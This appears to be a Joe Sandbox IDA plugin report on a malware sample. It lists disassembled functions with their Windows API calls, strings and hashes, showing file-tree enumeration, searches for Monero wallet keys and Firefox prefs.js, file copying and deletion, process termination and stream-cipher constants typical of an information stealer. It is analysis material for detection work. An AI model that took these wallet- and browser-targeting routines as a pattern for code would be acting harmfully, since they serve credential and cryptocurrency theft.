Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 15a6e6c58b6d15193af54663b81b52cedb99a060f3b6c9f2eae519813808896d
Instruction ID: 194bbca42f65eeefff9b78f8aad9f78783ccc6d15ac3bff8e7827e022832885a
Opcode Fuzzy Hash: 15a6e6c58b6d15193af54663b81b52cedb99a060f3b6c9f2eae519813808896d
Instruction Fuzzy Hash: CD6133B1904218AFCB20EBA4DC45FEA73BCBB48700F0045DCB65DA6151EB70AB88CF91

Function 00BB47C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00BB47D0
RtlAllocateHeap.NTDLL(00000000), ref: 00BB47D7
wsprintfA.USER32 ref: 00BB47F6
FindFirstFileA.KERNEL32(?,?), ref: 00BB480D
StrCmpCA.SHLWAPI(?,00BC0FAC), ref: 00BB483B
StrCmpCA.SHLWAPI(?,00BC0FB0), ref: 00BB4851
FindNextFileA.KERNEL32(000000FF,?), ref: 00BB48DB
FindClose.KERNEL32(000000FF), ref: 00BB48F0
lstrcat.KERNEL32(?,0130EDA8), ref: 00BB4915
lstrcat.KERNEL32(?,0130DFD8), ref: 00BB4928
lstrlen.KERNEL32(?), ref: 00BB4935
lstrlen.KERNEL32(?), ref: 00BB4946

Strings

%s\*, xrefs: 00BB47EA
%s\%s, xrefs: 00BB486B

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: d834798ad79d18f85159c9336bce565f343569d7ddf58bfe8948fa02bbef2d4f
Instruction ID: 4cdde8c38113312b5e9aa27b261eb1706a75d3310931bea498c21b19aa2c1ba2
Opcode Fuzzy Hash: d834798ad79d18f85159c9336bce565f343569d7ddf58bfe8948fa02bbef2d4f
Instruction Fuzzy Hash: CC5122B1904218AFCB24EB70DC89FEE77BCAB58700F4045D8B65DA6151EB709AC8CF91

Function 00BB40F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BB4113
FindFirstFileA.KERNEL32(?,?), ref: 00BB412A
StrCmpCA.SHLWAPI(?,00BC0F94), ref: 00BB4158
StrCmpCA.SHLWAPI(?,00BC0F98), ref: 00BB416E
FindNextFileA.KERNEL32(000000FF,?), ref: 00BB42BC
FindClose.KERNEL32(000000FF), ref: 00BB42D1

Strings

%s\%s, xrefs: 00BB4107

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9be50566626eaa9a441ddfd6e1df0b596ad02c42dca0958f80d233d59d3a622c
Instruction ID: 4030d115c0f961acc126d579d1f27b8455dc649e88aea779cdad039a21522bc4
Opcode Fuzzy Hash: 9be50566626eaa9a441ddfd6e1df0b596ad02c42dca0958f80d233d59d3a622c
Instruction Fuzzy Hash: D55144B1904218AFCB24EBB4DC85EEA77BCBB58300F4045DCB659A6051DB719BC9CF90

Function 00BAEE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BAEE3E
FindFirstFileA.KERNEL32(?,?), ref: 00BAEE55
StrCmpCA.SHLWAPI(?,00BC1630), ref: 00BAEEAB
StrCmpCA.SHLWAPI(?,00BC1634), ref: 00BAEEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00BAF3AE
FindClose.KERNEL32(000000FF), ref: 00BAF3C3

Strings

%s\*.*, xrefs: 00BAEE32

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: ca16ea7eeae1712659cc0de4d62803754a75e765463a4e238d0f691ec250fbbb
Instruction ID: 48e5559bedba4dbffaea7e049c23b49ff60fce8a9778eb85b76da7fd7138cf92
Opcode Fuzzy Hash: ca16ea7eeae1712659cc0de4d62803754a75e765463a4e238d0f691ec250fbbb
Instruction Fuzzy Hash: E7E1E272D11118ABDF64FB60CDA2EFE77B9AF54300F4045E9B41A62092EE706B89CF51

Function 00BE0098 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON

Download Yara Rule

Strings

te k, xrefs: 00BE03B4
nd 32-by, xrefs: 00BE04B4
expand 32-by, xrefs: 00BE03C8
te k, xrefs: 00BE053E
nd 3, xrefs: 00BE0117
expand 3, xrefs: 00BE04E5
expa, xrefs: 00BE0461
te knd 3expand 32-by, xrefs: 00BE034E
expa, xrefs: 00BE05BB
2-by, xrefs: 00BE00F6
2-by, xrefs: 00BE036E
2-byexpa, xrefs: 00BE0355
te k, xrefs: 00BE0347

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
API String ID: 0-1562099544
Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction ID: f20b7e8fb1fa7f8470ddabcf9ac0f2e96dc60d388a075d4426e29f16636c7186
Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction Fuzzy Hash: FBE276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56

Function 00BAF7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00BC16B0,00BC0D97), ref: 00BAF81E
StrCmpCA.SHLWAPI(?,00BC16B4), ref: 00BAF86F
StrCmpCA.SHLWAPI(?,00BC16B8), ref: 00BAF885
FindNextFileA.KERNEL32(000000FF,?), ref: 00BAFBB1
FindClose.KERNEL32(000000FF), ref: 00BAFBC3

Strings

prefs.js, xrefs: 00BAF912

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 6222699e765647de0058176667fe1b7423329bf2de4dec47995d04d5413fce44
Instruction ID: 9ca9566db32e8fd8d6b33f384fbb177a9cb46cc04617e630caae3f3933e84584
Opcode Fuzzy Hash: 6222699e765647de0058176667fe1b7423329bf2de4dec47995d04d5413fce44
Instruction Fuzzy Hash: F7B13271D10108ABCB24FFA4DD96FFE77B9AF55300F4085E8A41A66191EF709B48CB91

Function 00BA1710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00BC523C,?,?,?,00BC52E4,?,?,00000000,?,00000000), ref: 00BA1963
StrCmpCA.SHLWAPI(?,00BC538C), ref: 00BA19B3
StrCmpCA.SHLWAPI(?,00BC5434), ref: 00BA19C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BA1D80
DeleteFileA.KERNEL32(00000000), ref: 00BA1E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00BA1E60
FindClose.KERNEL32(000000FF), ref: 00BA1E72

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Strings

\*.*, xrefs: 00BA1831

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 46737cfc00f68d31c820c07d6cc67f415a80d6672cdfaada932bffb6164fab83
Instruction ID: 47be8e5d56fc93fc9ad6694863a293629c13c828463f15f4dadd8304eb914c68
Opcode Fuzzy Hash: 46737cfc00f68d31c820c07d6cc67f415a80d6672cdfaada932bffb6164fab83
Instruction Fuzzy Hash: 8812CE71D10118ABCF65FB60CCA6EFE77B9AF54300F4045E9A51A66091EFB06B88CF61

Function 00BADF10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00BC0C32), ref: 00BADF5E
StrCmpCA.SHLWAPI(?,00BC15C0), ref: 00BADFAE
StrCmpCA.SHLWAPI(?,00BC15C4), ref: 00BADFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00BAE4E0
FindClose.KERNEL32(000000FF), ref: 00BAE4F2

Strings

\*.*, xrefs: 00BADF26

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: c6294851f78a216cb4a34972c32663db756b028a34068a0f191aee6de4c49332
Instruction ID: 9b9f957895346c0a2f962c335708cea82b95e6f6a4da22075edfcf91e6d0dc56
Opcode Fuzzy Hash: c6294851f78a216cb4a34972c32663db756b028a34068a0f191aee6de4c49332
Instruction Fuzzy Hash: 42F19F71D24118ABCF25FB60CDA6EFE77B9AF55300F8045D9A01A62091EFB06B89CF51

Function 00BADB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00BC15A8,00BC0BAF), ref: 00BADBEB
StrCmpCA.SHLWAPI(?,00BC15AC), ref: 00BADC33
StrCmpCA.SHLWAPI(?,00BC15B0), ref: 00BADC49
FindNextFileA.KERNEL32(000000FF,?), ref: 00BADECC
FindClose.KERNEL32(000000FF), ref: 00BADEDE

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 4abc06ff11154c10e9615f4a24170a08fb8882d77157844bde9645e78a098e87
Instruction ID: 3b6e0ca77205167cecbd41f99a548a13d84cc4ab19394eb8470827838dc160e4
Opcode Fuzzy Hash: 4abc06ff11154c10e9615f4a24170a08fb8882d77157844bde9645e78a098e87
Instruction Fuzzy Hash: FC915272E00104ABCF14FB74DD96AFD77BDAB95300F4045E8B85B66181EE709B48CBA2

Function 00BB98E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BB9905
Process32First.KERNEL32(00BA9FDE,00000128), ref: 00BB9919
Process32Next.KERNEL32(00BA9FDE,00000128), ref: 00BB992E
StrCmpCA.SHLWAPI(?,00BA9FDE), ref: 00BB9943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00BB995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 00BB997A
CloseHandle.KERNEL32(00000000), ref: 00BB9987
CloseHandle.KERNEL32(00BA9FDE), ref: 00BB9993

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 0e4e1e5527e0dedfa90815e82dce0cf9e9d8deec541f97731fa0319d873baae2
Instruction ID: 1599f6dd45254aba9a2276377cac2360cec3c1c52484246d24ae551fcb13ae5a
